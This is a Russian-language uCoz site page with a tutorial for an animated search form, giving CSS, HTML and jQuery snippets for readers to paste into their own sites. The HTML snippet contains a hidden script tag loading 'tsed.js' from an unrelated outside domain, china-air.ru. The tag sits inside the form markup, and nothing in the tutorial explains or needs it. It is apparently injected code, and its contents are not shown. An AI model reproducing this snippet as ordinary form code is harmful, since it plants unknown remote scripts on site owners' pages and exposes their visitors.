Статьи
Xiaomi Redmi Note 8 Pro получение прав ROOT
Раздача интернета в обход ограничениям использования телефона в качестве модема.
Protein 80 Plus (Weider) - Надежный протеин со 100% действием и цена у него, вполне доступная.
Power System Triple Whey - биоактивный протеин нового поколения
Optimum Nutrition Platinum Hydro Whey - протеин сывороточный гидролизат
Nature's Best IsoPure Zero Carb - 100% изолят сывороточного протеина
Академия-Т Sportein - Спортеин – инновационная анаболическая формула для наращивания мышечной массы
Процессоры семейства AMD Athlon X2 Dual Core

Для UCOZ
Новый вид соотношения гостей и пользователей
Информер лучшие файлы
Вид материалов для каталога статей от сайта megafact
Бесплатная отправка СМС и ММС
Перевод страниц сайта
Перевод сайта на 7 языков
Красивый светлый мини профиль
Кнопки вверх и вниз с функцией запоминания позиции
Скрипт раздачи WMR для Юкоз
Простой мини профиль для uCoz
Плеер онлайн радио для сайтов UCOZ и DLE
Отличные Flash часы для сайта
Кнопка рейтинга + и -
Информер - лучшие пользователи (топ пользователей) для uCoz

Главная » 2012 » Декабрь » 24 » Форма поиска для Ucoz
00:20
Форма поиска для Ucoz
Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...
Просмотров: 662 | Добавил: budyvmaster | Теги: Скрипты Ucoz, ucoz javascript, для uCoz, Форма поиска для Ucoz | Рейтинг: 5.0/1
Похожие материалы


Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Новое


HWiNFO3264 5.40 3030...
Загрузок: 69
Просмотров: 869
Дата: 14.02.2017



2befine_simpli_zip_t...
Загрузок: 302
Просмотров: 905
Дата: 12.12.2016



memtest86_v_4.3.6.zi...
Загрузок: 344
Просмотров: 859
Дата: 06.12.2016



Новогоднее_оформлени...
Загрузок: 334
Просмотров: 991
Дата: 06.12.2016



AveIconifier-2.0_Por...
Загрузок: 418
Просмотров: 1834
Дата: 06.12.2016


Популярное


Livesuit 1.09.z...
Загрузок: 39998
Просмотров: 63489
Добавил: sasha2
Дата: 30.03.2013



LiveSuit v 1.07...
Загрузок: 7676
Просмотров: 19181
Добавил: sasha2
Дата: 15.12.2014



Ultimate Mortal...
Загрузок: 7440
Просмотров: 22570
Добавил: sasha2
Дата: 24.01.2013



Эмулятор Sega н...
Загрузок: 3652
Просмотров: 16278
Добавил: sasha2
Дата: 03.01.2013



иконки 32х32, 6...
Загрузок: 2143
Просмотров: 20810
Добавил: sasha2
Дата: 25.09.2012



Рейтинг@Mail.ru
%
Copyright MyCorp © 2025